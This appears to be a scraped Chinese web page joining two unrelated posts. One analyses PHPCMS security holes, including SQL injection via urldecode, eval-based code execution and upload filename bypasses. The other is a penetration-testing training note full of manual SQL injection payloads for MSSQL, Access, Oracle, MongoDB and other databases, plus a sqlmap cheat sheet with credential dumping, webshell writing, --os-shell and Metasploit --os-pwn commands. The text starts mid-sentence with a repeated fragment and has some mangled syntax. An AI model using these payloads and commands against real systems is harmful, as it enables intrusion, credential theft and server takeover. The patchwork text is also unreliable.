%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS 查看全部
php抓取网页数据插入数据库 CMS真的安全吗?洞鉴PHPCMS
什么是PHPCMS
说到PHPCMS,就不得不先提一提CMS。CMS全称“Content Management System”,意为“内容管理系统”,内容管理系统是一种位于WEB 前端(Web 服务器)和后端办公系统或流程(内容创作、编辑)之间的软件系统。内容的创作人员、编辑人员、发布人员使用内容管理系统来提交、修改、审批、发布内容。
这里指的“内容”可能包括文件、表格、图片、数据库中的数据甚至视频等一切你想要发布到Internet、Intranet以及Extranet网站的信息。内容管理还可选地提供内容抓取工具,将第三方信息来源,比如将文本文件、HTML网页、Web服务、关系数据库等的内容自动抓取,并经分析处理后放到自身的内容库中。
随着个性化的发展,内容管理还辅助WEB前端将内容以个性化的方式提供给内容使用者,即提供个性化的门户框架,以基于WEB技术将内容更好地推送到用户的浏览器端。
PHPCMS由国内80后知名创业者钟胜辉于2005年创办,是国内知名内容管理系统,它是一款基于 PHP 技术和 AJAX 技术的企业级网站内容管理系统,旨在帮助用户解决日益复杂与重要的 Web 内容的创建、维护、发布和应用。
PHPCMS的创立赶上了CMS蓬勃发展的时期,而且它将模块化开发方式做为功能开发形式,框架易于功能扩展,代码维护,优秀的二次开发能力,可满足所有网站的应用需求,所以迅速占领了国内的内容管理系统领域的大片领土。
从2005年PHPCMS第一版创立,到2007年推出PHPCMS 2007版本,再到2008年年底推出了PHPCMS 2008版本,四年三大版本均赢得了市场好评,最终在2010年盛大在线收购PHPCMS后,PHPCMS推出了主线产品PHPCMS V9版本,到2017年5月推出了最新的V9.6.3版本,PHPCMS仍为现在国内领先的内容管理系统,是各大站长建站的首选。
根据全网数据统计,使用PHPCMS的网站多达4万多个,其中大部分集中在国内,共有约3万余个,占使用量的75%以上,同时,PHPCMS在教育行业约有上千个网站使用,在政府部门的网站中,也有上百个网站使用,其他则用于商业用途,具体分布如下图:
从图中可以看出,PHPCMS的使用范围较广,其中在政府部门中不乏市县级政府这样的客户;教育行业内,也不乏国内大学的校级、院系官网使用PHPCMS作为其发布信息的官方主页;商业用途中,PHPCMS也备受中小型企业的青睐。
PHPCMS的版本更新迭代速度以及功能齐全等特性也为其快速扩张提供发展基础。但是,PHPCMS安全吗?
PHPCMS安全吗?
根据千里目实验室漏洞库的统计,PHPCMS从创办到如今近十三年,产品三大版本的漏洞总量高达100余个,其中核心版本PHPCMS2008系列、PHPCMS V9系列高危漏洞近40个,在40个漏洞之中,全网公布的高可利用性漏洞个数也高达两位数,其中尤其PHPCMS V9最多,所以,PHPCMS的安全性一直备受广大用户的质疑。
经过对PHPCMS高危漏洞的分析整理以及统计,PHPCMS的高危漏洞类型主要有以下五类:SQL注入类、命令执行类、任意文件上传类、任意文件下载类、任意文件读取类。其中SQL注入问题是最为严重的一类,不管数量还是威胁性都是其中最高的,5类漏洞的数量具体分布占比如下图。接下来按照这些漏洞中威胁性最高的五类漏洞来介绍PHPCMS的经典漏洞,以及漏洞间的共性和漏洞成因。
2.1 SQL注入漏洞
PHPCMS框架层面分析
PHPCMS的核心版本中,PHPCMS v9的SQL注入问题比PHPCMS 2008要严重很多,这是为什么?
首先从PHPCMS的框架上分析了这个问题的原因。PHPCMS2008中对GPC变量的处理, 是在
include/common.inc.php中使用$db->escape($_GET)对输入变量进行转义,实质上是调用了
mysql_real_escape_string,PHP手册上对这个函数的描述:
string mysql_real_escape_string ( string $unescaped_string [, resource $link_identifier ] )
#本函数将 unescaped_string中的特殊字符转义,并考虑到连接的当前字符集,因此可以安全用于 mysql_query()
也就是说PHPCMS 2008中使用mysql_real_escape_string对输入变量进行处理,是可以达到防注入效果的,PHPCMS2008中这样的处理方式是比较安全的,但是也有其不合理的一面,原因在于:入口中对所有变量进行mysql_real_escape_string处理,显然并不是所有变量需要入库,这样处理必须影响性能(连接mysql->发送变量至mysql server ->mysql server转义->返回给PHP程序)。
而PHPCMS V9在入口文件phpcms/libs/classes/param.class.php中采用以下方式:
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
new_addslashes其实就是调用了PHP内置的addslashes对GPC变量添加转义斜线,这就相当于php.ini中打开了magic_quotes_gpc选项,PHP手册中对magic_quotes_gpc的处理有以下描述:
Warning
This feature has been DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0.
从PHP 5.4.0开始,已经不支持magic_quotes_gpc了,这是为什么?
(1)性能:由于并不是每一段被转义的数据都要插入数据库的,如果所有进入 PHP 的数据都被转义的话,那么会对程序的执行效率产生一定的影响。
(2)方便性:由于不是所有数据都需要转义,在不需要转义的地方看到转义的数据就很烦。比如说通过表单发送邮件,结果看到一大堆的 \'。
(3)安全问题:事实上addslashes或开启magic_quotes_gpc并不能完全杜绝SQL注入。因为addslashes对有些特殊字符后跟上'(单引号)并不会加把这个'变成/',如:0xbf27的字就不会,所以縗' OR 1 limit 1/* 这个就存在。
针对这个问题,PDO扩展而生,它主要解决两个问题:批量查询时使用prepare提升查询性能,使用参数化查询从根本上杜绝SQL注入,但是PHPCMS V9的phpcms\libs\classes\param.class.php依旧使用以下代码,所这就是造成PHPCMS中SQL注入如此之多的根本原因。:
private $route_config = '';
public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
PHPCMS漏洞层面分析
从具体的漏洞来看,PHPCMS代码中出现的SQL注入点主要有三种情况:

第一种情况,即外部可控参数未进行任何过滤,这种问题是因为系统设计人员代码设计的不严谨导致。其中最经典的PHPCMS v9 前台用户登录处SQL注入漏洞产生即是因为这个原因:用户在登录页面输入用户名与密码,在\phpcms\modules\member\index.php的login方法中,username使用的is_username进行了过滤而password没有做任何处理。
$username = isset($_POST['username']) && is_username($_POST['username']) ?
trim($_POST['username']) : showmessage(L('username_empty'), HTTP_REFERER);
$password = isset($_POST['password']) && trim($_POST['password']) ?
trim($_POST['password']) : showmessage(L('password_empty'), HTTP_REFERER);
$cookietime = intval($_POST['cookietime']);
$synloginstr = ''; //同步登陆js代码
所以,Password就成为了一个注入点。输入的username以及password被传到phpsso模块中进行认证,而phpsso模块并没有解析过滤用户名与密码就直接进行认证,认证后直接将信息返回到登录页面的login方法中。
第二种情况也是SQL注入中的经典情形,即代码中处理外部输入数据的时候使用了urldecode()函数。比如单引号被 urlencode 两次以后是 %2527,然后 POST。PHP 内部在生成全局变量 $_POST 的时候会先 urldecode,得到 %27,然后 PHP 会检查 Magic Quotes 的设置,但是无论是否开启 Magic Quotes,%27 都不会被 addslashes,因为这时根本没有单引号。
但是这时如果你在 PHP 代码中画蛇添足的加上 urldecode,%27就变成单引号了,这样就成功绕过了,这种情况出现的根源在于之前分析的PHPCMS使用magic_quotes_gpc这种方式来处理外部数据。
PHPCMS V9 WAP SQL注入漏洞即是因为这种情况:
function comment_list() {
$WAP = $this->wap;
$TYPE = $this->types;
$comment = pc_base::load_app_class('comment','comment');
pc_base::load_app_func('global','comment');
$typeid = intval($_GET['typeid']);
$GLOBALS['siteid'] = max($this->siteid,1);
$commentid = isset($_GET['commentid']) && trim(urldecode($_GET['commentid'])) ?
trim(urldecode($_GET['commentid'])) : exit('参数错误');
list($modules, $contentid, $siteid) = decode_commentid($commentid);
list($module, $catid) = explode('_', $modules);
$comment_setting_db = pc_base::load_model('comment_setting_model');
$setting = $comment_setting_db->get_one(array('siteid'=>$this->siteid));
这段代码中在处理外部可控参数commentid的时候,使用了urldecode()函数,最终可以采用%2527的方式来进行过滤绕过。
PHPCMS db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
$this->db->table_name = $tablename.'_data';
$rs = $this->db->get_one(array('id'=>$id)); //id传入sql查询语句
在函数中,代码通过GET获取'a_k'值,并调用sys_auth函数进行解密,然后使用parse_str()来解析解密后的$a_k参数,将字符串解析到变量中,并同时解码。在parse_str()解析的过程中,就将之前构造好的SQL注入paylaod赋值到各个参数,并且绕过了所有限制。
这个漏洞利用还有另一个关口,就是需要将payload使用sys_auth加密,同样,PHPCMS一个任意文件下载漏洞也是这个原理:构造payload—>sys_auth加密—>带入到phpcms\modules\content\
down.php文件init函数中—>进行解码并parse_str()解析,payload通过这种方式可以绕过所有过滤关口,最终成功触发。
从之上的分析可知,所有的SQL注入漏洞其根源都在magic_quotes_gpc方法上。但是除了框架之外,如此多的SQL注入问题就在于程序员对待代码逻辑的不严谨,缺少对外部可控参数的过滤或者说是缺少完全的过滤验证过程,PHP是很灵活的语言,其代码的逻辑严谨程度即代表着它的安全性高低!
命令执行漏洞
命令执行是一类威胁性非常大的漏洞类型,大多数“一锅端”(能够getshell,控制全站)漏洞都是命令执行漏洞。由之前的漏洞数量分布可知,命令执行问题的数量仅次于SQL注入,但是它的严重程度可能更甚于SQL注入漏洞。
PHPCMS框架中的命令执行漏洞大部分都是由于一个函数,即global.func.php中的string2array()函数,函数代码如下:
/**
* 将字符串转换为数组
*
* @param string $data 字符串
* @return array 返回数组格式,如果,data为空,则返回空数组
*/
function string2array($data) {
$data = trim($data);
if($data == '') return array();
if(strpos($data, 'array')===0){
@eval("\$array = $data;");

}else{
if(strpos($data, '{\\')===0) $data = stripslashes($data);
$array=json_decode($data,true);
if(strtolower(CHARSET)=='gbk'){
$array = mult_iconv("UTF-8", "GBK//IGNORE", $array);
}
}
return $array;
}
该函数中使用了eval函数,这就代表所有调用这个函数的地方,如果存在过滤不严的情况,都会出现严重的命令执行漏洞。当然,我们不用怀疑程序员写BUG的能力,PHPCMS中多个命令执行漏洞都是因为外部参数未进行严格过滤,就直接带进了string2array()中进行处理,所以最终触发了漏洞。
其中最经典的一个漏洞PHPCMS 2008任意代码执行漏洞,该漏洞利用门槛之低让人大跌眼镜,漏洞的出处就在yp/web/include/common.inc.php的menu变量:
$menu = string2array($menu);
$siteurl = $m_s_url[1] = $M['url'].'web/?'.$userid;
$introduceurl = $m_s_url[2] = $siteurl.'/category-introduce.html';
$newsurl = $m_s_url[3] = $siteurl.'/category-news.html';
$product = $m_s_url[4] = $siteurl.'/category-product.html';
$buyurl = $m_s_url[5] = $siteurl.'/category-buy.html';
$joburl = $m_s_url[6] = $siteurl.'/category-job.html';
$joburl = $m_s_url[7] = $siteurl.'/category-certificate.html';
$guestbookurl = $m_s_url[8] = $siteurl.'/category-guestbook.html';
$contacturl = $m_s_url[9] = $siteurl.'/category-contact.html';
Menu参数是一个外部可控参数,该参数被被传进后台之后未经过任何处理以及限制,导致在string2array()函数中直接被eval函数执行,导致远程代码执行漏洞。
而这个函数从PHPCMS 2008到PHPCMS V9一直都存在,而该系统程序员也只是在之后每一个调用此函数的地方都先对传入参数进行过滤或者限制,但是任何过滤限制都有被绕过的可能,之后的事实证明确实如此,比如之后再V9版本出现的PHPCMS V9 phpcms\
modules\dbsource\data.php出现的远程命令执行漏洞,PHPCMSV9 /phpcms/modules/vote/
index.php代码执行漏洞等均是因为这个原因。
所以,防止PHP程序出现代码执行漏洞有一条金科玉律:永远不要在代码中使用eval。
因为,很少有人能够掌控住这个函数,一旦控制不住,可能就会出现一个“一锅端”的命令执行漏洞。
另外PHPCMS中出现的一个PHPCMS /phpsso_server/phpcms/modules/phpsso/index.php代码执行漏洞,它的思想很特别、也很典型。该漏洞中存在的一个猛兽理论值得很多程序员以及安全研究人员来认真研究的。“猛兽来了,我们应该将其绝杀在门外,但是有些人非得把它放进屋内,才杀之,你们难道不知道猛兽的嘴里可能叼了一个炸药包吗? 砰!!!结果全都玩完了…”。下面用具体代码来解释这个理论。
其中:
猛兽放进室内:copy($_GET['src'],$_GET['dst']);
这条猛兽不安全,杀之:unlink($_GET['dst']);
炸药包:$_GET['dst'] 此炸药包的作用是生成恶意文件。
这段代码中存在缺陷的地方就是将“猛兽”放进市内的地方:
copy($_GET['src'],$_GET['dst']);
可将任意文件copy成恶意文件,如木马,后来发现这个文件不安全,然后使用unlink将之删除...,但是,有种可能就是木马在删除之前,生成了新的木马文件,结果可想而知。
PHPCMS V9
/phpsso_server/phpcms/modules/phpsso/index.php任意命令执行就是这个原理。首先上传头像,头像的格式被压缩为zip格式文件,然后文件到了/phpsso_server/phpcms/modules/phpsso/index.php的uploadavatar()函数,首先被解压,然后判断为非jpg文件后删除。攻击者利用这个漏洞的过程中是将webshell保存为jpg中,构造后缀名突破jpg的限制,在文件被上传解压后,webshell执行在上层目录生成一个新的webshell文件,由此触发漏洞。
命令执行漏洞的威胁性极大,在任何代码审计中,只要代码中出现了eval,assert等这类代码执行函数后,都有可能出现代码执行漏洞。并且猛兽理论也应该在被关注,这样的逻辑在很多代码中都会被用到,其解决的方法即应该在第一步的时候就处理风险,不能将“猛兽放进屋来”。
任意文件上传漏洞、任意文件下载、任意文件读取漏洞
这三类漏洞是关于文件操作的漏洞,具有很多的共性。PHPCMS中的任意文件上传漏洞主要是因为文件上传过程中,文件类型的限制不严或者因为存在过滤限制绕过,导致可以上传一些可执行文件,最终GetShell。该类漏洞与代码执行很相似,最根本就是为了执行上传文件中的恶意代码。
其中PHPCMS v9 注册页面任意文件上传漏洞和PHPCMS v9.6.1 后缀名提取导致任意文件上传漏洞都是一种采用构造后缀名绕过限制过滤的漏洞。第一个漏洞中的正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),则构造的(
)符合这一格式(这也就是为什么后面要加.jpg的原因)。之后通过一系列处理,将.jpg去掉,那么最后文件的后缀就变成了.php成为了可执行文件。
而第二个漏洞中则因strtolower(trim
(substr(strrchr($filename, '.'), 1, 10)));处理被绕过,攻击这可以使用/1.thumb_.Php.JPG%20%20
%20%20%20%20%20Php来绕过过滤,最终由于apache的文件名解析特性(可以去掉空格)导致上传文件里php代码最终被解析执行。所以该类漏洞中,都是因为对文件名后缀缺少更严谨的处理,导致上传可执行文件最终导致getshell。
PHPCMS
渗透测试培训Day14 SQL注入之Oracle,MongoDB等注入
网站优化 • 优采云 发表了文章 • 0 个评论 • 296 次浏览 • 2022-06-23 12:24
我喜欢一个人
就像喜欢一阵风
藏在你心里
习桑前言
SQL作用在关系型数据库上面什么是关系型数据库?关系型数据库是由一张张的二维表组成的 常见的关系型数据库厂商有 MySQL、SQLite、SQL Server、Oracle 由于MySQL是免费的 所以企业一般用MySQL的居多 Web SQL是前端的数据库 它也是本地存储的一种 使用SQLite实现 SQLite是一种轻量级数据库 它占的空间小 支持创建表,插入、修改、删除表格数据 但是不支持修改表结构 如删掉一纵列 修改表头字段名等 但是可以把整张表删了 同一个域可以创建多个DB 每个DB有若干张表。与数据库产生交互就有可能存在注入攻击不只是MySQL数据库还有Oracle,MongoDB等数据库也可能会存在注入攻击
简要学习各种数据库的注入特点
数据库架构组成,数据库高权限操作
简要了解各数据库
Access,Mysqlmssql(Microsoft SQL server)mongoDB,postgresqlsqlite,oracle,sybase等<br />Access 表名 列名 数据<br />Access数据库保存在网站源码下面自己网站数据库独立存在所以无法进行跨库也没有文件读写的操作
除了Access其他数据库组成架构基本都是大同小异。<br />mysql mssql等数据库名A 表名列名 数据 数据库名B。。。。。。<br />每个数据库功能不同,我们采取注入的时候攻入方式不同<br />什么决定网站注入点用户权限?数据库配置文件的用户,是谁连接的
Access偏移注入
如果遇到列名猜解不到的情况,则可以使用Access偏移注入原理<br />借用数据库的自连接查询让数据库内部发生乱序从而偏移出所需要的字段在我们的页面上显示用途<br />解决知道Access数据库中知道表名,但是得不到字段的sql注入困境特点<br />a. 成功与否看技巧与运气,不能保证100%成功。b. 无需管理员账号密码字段,直接爆账号密码利用条件<br />a. 已知管理表名b. 已知任意字段(一个或多个会增加机率,最常见的就是id)影响偏移注入成功因素<br />a. 管理表的字段数越少越好(最好是三个:id 账号字段 密码字段)b. 当前注入点的脚本内查询的表内的字段数越多越好流程<br />a. 判断字段数b. 判断表名c. 开始偏移注入<br />
本地Access偏移注入靶场
偏移量就是逐步增加或递减直到出现结果。*表示可代替的字符串用*代替22,返回界面依旧报错然后用*代替21,依次递减22-16=6,6表示该表中的列名个数
*代表6个,后面一串字符代表两倍,就相当于2倍*,12个
爆列名数据
一级偏移语句:union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id = b.id)二级偏移语句:union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
二级偏移,3倍*,所以为18个
查看登录框源代码的表单值或观察URL特征等也可以针对表或列获取不到的情况猜解表名可能是ZB_admin,观察网站地址特征,是否有前缀。
或者看登录框表单值
SQL server/MSSQL注入
7.1介绍
Microsoft SQL Server 是一个全面的数据库平台,使用集成的商业智能 (BI)工具提供了企业级的数据管理。Microsoft SQL Server 数据库引擎为关系型数据和结构化数据提供了更安全可靠的存储功能,使您可以构建和管理用于业务的高可用和高性能的数据应用程序。
7.2过程
①判断数据库类型
and exists (select * from sysobjects)--返回正常为mssql(也名sql server)and exists (select count(*) from sysobjects)--有时上面那个语句不行就试试这个哈
②判断数据库版本
and 1=@@version--这个语句要在有回显的模式下才可以哦and substring((select @@version),22,4)='2008'--适用于无回显模式,后面的2008就是数据库版本, 返回正常就是2008的复制代码第一条语句执行效果图(类似):第二条语句执行效果图:(如果是 2008的话就返回正常)
③获取所有数据库的个数 (一下3条语句可供选择使用)
1. and 1=(select quotename(count(name)) from master..sysdatabases)--2. and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases) --3. and 1=(select str(count(name))%2b'|' from master..sysdatabases where dbid>5) -- and 1=(select cast(count(name) as varchar)%2bchar(1) from master..sysdatabases where dbid>5) --说明:dbid从1-4的数据库一般为系统数据库.
⑤获取数据库 (该语句是一次性获取全部数据库的,且语句只适合>=2005,两条语句可供选择使用)
and 1=(select quotename(name) from master..sysdatabases FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from master..sysdatabases FOR XML PATH(''))--
⑥获取当前数据库
and db_name()>0and 1=(select db_name())--
⑦获取当前数据库中的表(有2个语句可供选择使用)【下列语句可一次爆数据库所有表(只限于 mssql2005及以上版本)】
and 1=(select quotename(name) from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..sysobjects where xtype='U' FOR XML PATH(''))--
⑧获得表里的列
一次爆指定表的所有列(只限于mssql2005及以上版本):and 1=(select quotename(name) from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))-- and 1=(select '|'%2bname%2b'|' from 数据库名..syscolumns where id =(select id from 数据库名..sysobjects where name='指定表名') FOR XML PATH(''))--
⑨获取指定数据库中的表的列的数据库
逐条爆指定表的所有字段的数据(只限于mssql2005及以上版本):and 1=(select top 1 * from 指定数据库..指定表名 where排除条件 FOR XML PATH(''))--一次性爆N条所有字段的数据(只限于mssql2005及以上版本):and 1=(select top N * from 指定数据库..指定表名 FOR XML PATH(''))--复制代码第一条语句:and 1=(select top 1 * from 指定数据库..指定表名 FOR XML PATH(''))--测试效果图:----------------------------------加上where条件筛选结果出来会更加好,如:where and name like '%user%' 就会筛选出含有user关键词的出来。用在筛选表段时很不错。
转自:http://www.myhack58.com/Articl ... 6.htm
PostgraSQL注入原理
https://www.webshell.cc/524.ht ... a2c2e
Oracle注入
https://www.cnblogs.com/peterp ... .html
MongoDB注入
https://blog.csdn.net/weixin_3 ... .html
各数据库手工注入
MySQL:1.找到注入点 and 1=1 and 1=2 测试报错2.order by 5 # 到5的时候报错,获取字段总数为43.id=0(不是1就行,强行报错) union select 1,2,3,4 # 联合查询,2和3可以显示信息4.获取数据库信息user() ==>rootdatabase() ==>mozhe_Discuz_StormGroupversion() ==>5.7.22-0ubuntu0.16.04.15.获取数据库表table_name 表名information_schema.tables 系统生成信息表table_schema=数据库名16进制或者用单引号括起来改变limit 0,1中前一个参数,得到两个表 StormGroup_member notice6.获取列名结果如下 id,name,password,status7.脱裤<br />Access:1.and 1=2 报错找到注入点2.order by 获取总字段3.猜解表名 and exists (select * from admin) 页面返回正常,说明存在admin表4.猜解列名 and exists(select id from admin) 页面显示正常,admin表中存在id列 username,passwd 同样存在5.脱裤 union select 1,username,passwd,4 from adminMSSQL:1.and 1=2报错2.order by N# 获取总字段3.猜表名 and exists(select * from manage) 表名manage存在4.猜解列名 and exists(select id from manage) 列名id存在,同样username,password也存在5.脱裤 and exists (select id from manage where id=1 ) 证明id=1存在and exists (select id from manage where%20 len(username)=8 and id=1 ) 猜解username字段长度为8and exists (select id from manage where%20 len(password)=16 and id=1 ) 猜解password字段长度为16可用Burp的Intruder功能辅助猜解猜解username第1到8位的字符,ASCII转码 admin_mz猜解password第1到16位的字符,ASCII转码(Burp 爆破)转ASCII的py脚本:72e1bfc3f01b7583 MD5解密为97285101<br />SQLite:1.找注入点 and 1=12.order by N 猜字段 43.猜数据库offset ==>0~2有三个数据库:WSTMart_regnotice_sybasesqlite_sequence4.猜列共有3个字段:id,name,password5.脱裤<br />MongoDB:1.id=1′ 单引号注入报错2.闭合语句,查看所有集合3.查看指定集合的数据[0] 代表第一条数据,可递增<br />DB2:1.and 1=2 判断注入点2.order by N 获取字段数3.爆当前数据库GAME_CHARACTER4.列表NAME5.脱裤<br />PostgreSQL:1.and 1=2 判断注入点2.order by N 获取字段3.爆数据库4.列表5.列字段6.拖库<br />Sybase数据库:1.and 1=2 判断注入点2.order by N 获取总字段3.爆数据库4.列表5.列字段6.查状态结果为:zhang7.反选爆用户名结果为:mozhe8.猜解密码<br />Oracle:1.and 1=12.order by3.爆数据库4.列表5.列字段6.拖库加上状态:1 where STATUS=1
简要学习各种注入工具的使用指南
熟悉工具的主持库,注入模式,优缺点等sqlmap,NoSQLAttack,Pangolin等
sqlmap基本操作sqlmap简介sqlmap支持五种不同的注入模式:
1、基于布尔的盲注即可以根据返回页面判断条件真假的注入2、基于时间的盲注即不能根据页面返回内容判断任何信息用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。3、基于报错注即页面会返回错误信息或者把注入的语句的结果直接返回在页面中4、联合查询注入可以使用union的情况下的注入5、堆查询注入可以同时执行多条语句的执行时的注入
sqlmap支持的数据库有:
MySQL, Oracle, PostgreSQLMicrosoft SQL ServerMicrosoft Access, IBM DB2SQLite, Firebird,Sybase和SAP MaxDB
检测注入:
基本格式sqlmap -u “http://www.vuln.cn/post.php?id=1”默认使用level1检测全部数据库类型sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)跟随302跳转当注入页面错误的时候,自动跳转到另一个页面的时候需要跟随302,当注入错误的时候,先报错再跳转的时候,不需要跟随302。目的就是:要追踪到错误信息。
cookie注入
当程序有防get注入的时候,可以使用cookie注入sqlmap -u “http://www.baidu.com/shownews.asp” –cookie “id=11” –level 2(只有level达到2才会检测cookie)
从post数据包中注入
可以使用burpsuite或者temperdata等工具来抓取post包sqlmap -r “c:\tools\request.txt” -p “username” –dbms mysql 指定username参数
注入成功后
获取数据库基本信息sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 –dbs查询有哪些数据库sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test –tables查询test数据库中有哪些表sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin –columns查询test数据库中admin表有哪些字段sqlmap -u “http://www.vuln.cn/post.php?id=1” –dbms mysql –level 3 -D test -T admin -C “username,password” –dumpdump出字段username与password中的数据其他命令参考下面从数据库中搜索字段sqlmap -r “c:\tools\request.txt” –dbms mysql -D dedecms –search -C admin,password在dedecms数据库中搜索字段admin或者password。
读取与写入文件
首先找需要网站的物理路径,其次需要有可写或可读权限。–file-read=RFILE 从后端的数据库管理系统文件系统读取文件 (物理路径)–file-write=WFILE 编辑后端的数据库管理系统文件系统上的本地文件 (mssql xp_shell)–file-dest=DFILE 后端的数据库管理系统写入文件的绝对路径#示例:sqlmap -r “c:\request.txt” -p id –dbms mysql –file-dest “e:\php\htdocs\dvwa\inc\include\1.php” –file-write “f:\webshell\1112.php”使用shell命令:sqlmap -r “c:\tools\request.txt” -p id –dms mysql –os-shell接下来指定网站可写目录:“E:\php\htdocs\dvwa”#注:mysql不支持列目录,仅支持读取单个文件。sqlserver可以列目录,不能读写文件,但需要一个(xp_dirtree函数)
sqlmap基本操作
基本操作笔记:
-u #注入点-f #指纹判别数据库类型-b #获取数据库版本信息-p #指定可测试的参数(?page=1&id=2 -p "page,id")-D "" #指定数据库名-T "" #指定表名-C "" #指定字段-s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume)--level=(1-5) #要执行的测试水平等级,默认为1--risk=(0-3) #测试执行的风险等级,默认为1--time-sec=(2,5) #延迟响应,默认为5--data #通过POST发送数据--columns #列出字段--current-user #获取当前用户名称--current-db #获取当前数据库名称--users #列数据库所有用户--passwords #数据库用户所有密码--privileges #查看用户权限(--privileges -U root)-U #指定数据库用户--dbs #列出所有数据库--tables -D "" #列出指定数据库中的表--columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段--dump-all #列出所有数据库所有表--exclude-sysdbs #只列出用户自己新建的数据库和表--dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname)--dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据--dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)--os #指定系统(Linux,Windows)-v #详细的等级(0-6) 0:只显示Python的回溯,错误和关键消息。 1:显示信息和警告消息。 2:显示调试消息。 3:有效载荷注入。 4:显示HTTP请求。 5:显示HTTP响应头。 6:显示HTTP响应页面的内容--privileges #查看权限--is-dba #是否是数据库管理员--roles #枚举数据库用户角色--udf-inject #导入用户自定义函数(获取系统权限)--union-check #是否支持union 注入--union-cols #union 查询表记录--union-test #union 语句测试--union-use #采用union 注入--union-tech orderby #union配合order by--data "" #POST方式提交数据(--data "page=1&id=2")--cookie "用;号分开" #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)--referer "" #使用referer欺骗(--referer "http://www.baidu.com")--user-agent "" #自定义user-agent--proxy "http://127.0.0.1:8118" #代理注入--string="" #指定关键词,字符串匹配.--threads #采用多线程(--threads 3)--sql-shell #执行指定sql命令--sql-query #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" )--file-read #读取指定文件--file-write #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)--file-dest #要写入的文件绝对路径--os-cmd=id #执行系统命令--os-shell #系统交互shell--os-pwn #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/)--msf-path= #matesploit绝对路径(--msf-path=/opt/framework/msf3/)--os-smbrelay #--os-bof #--reg-read #读取win系统注册表--priv-esc #--time-sec= #延迟设置 默认--time-sec=5 为5秒-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)" #指定user-agent注入--eta #盲注/pentest/database/sqlmap/txt/common-columns.txt 字段字典 common-outputs.txtcommon-tables.txt 表字典keywords.txtoracle-default-passwords.txtuser-agents.txtwordlist.txt<br />
常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-f -b --current-user --current-db --users --passwords --dbs -v 02./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --passwords -U root --union-use -v 23./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -T users -C username -D userdb --start 2 --stop 3 -v 24./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --dump -C "user,pass" -v 1 --exclude-sysdbs5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --sql-shell -v 26./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-read "c:\boot.ini" -v 27./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 28./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-cmd "id" -v 19./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-shell --union-use -v 210./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 111./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-pwn --msf-path=/opt/framework/msf3 -v 112./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --os-bof --msf-path=/opt/framework/msf3 -v 113./sqlmap.py -u http://www.xxxxx.com/test.php?p=2--reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=114./sqlmap.py -u http://www.xxxxx.com/test.php?p=2-b --eta15./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B -p id --prefix "')" --suffix "AND ('abc'='abc"16./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --auth-type Basic --auth-cred "testuser:testpass"17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"18./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 319./sqlmap.py -u "http://192.168.136.131/sqlmap/ ... ot%3B --sql-query "SELECT 'foo'" -v 120./sqlmap.py -u "http://192.168.136.129/mysql/g ... ot%3B --common-tables -D testdb 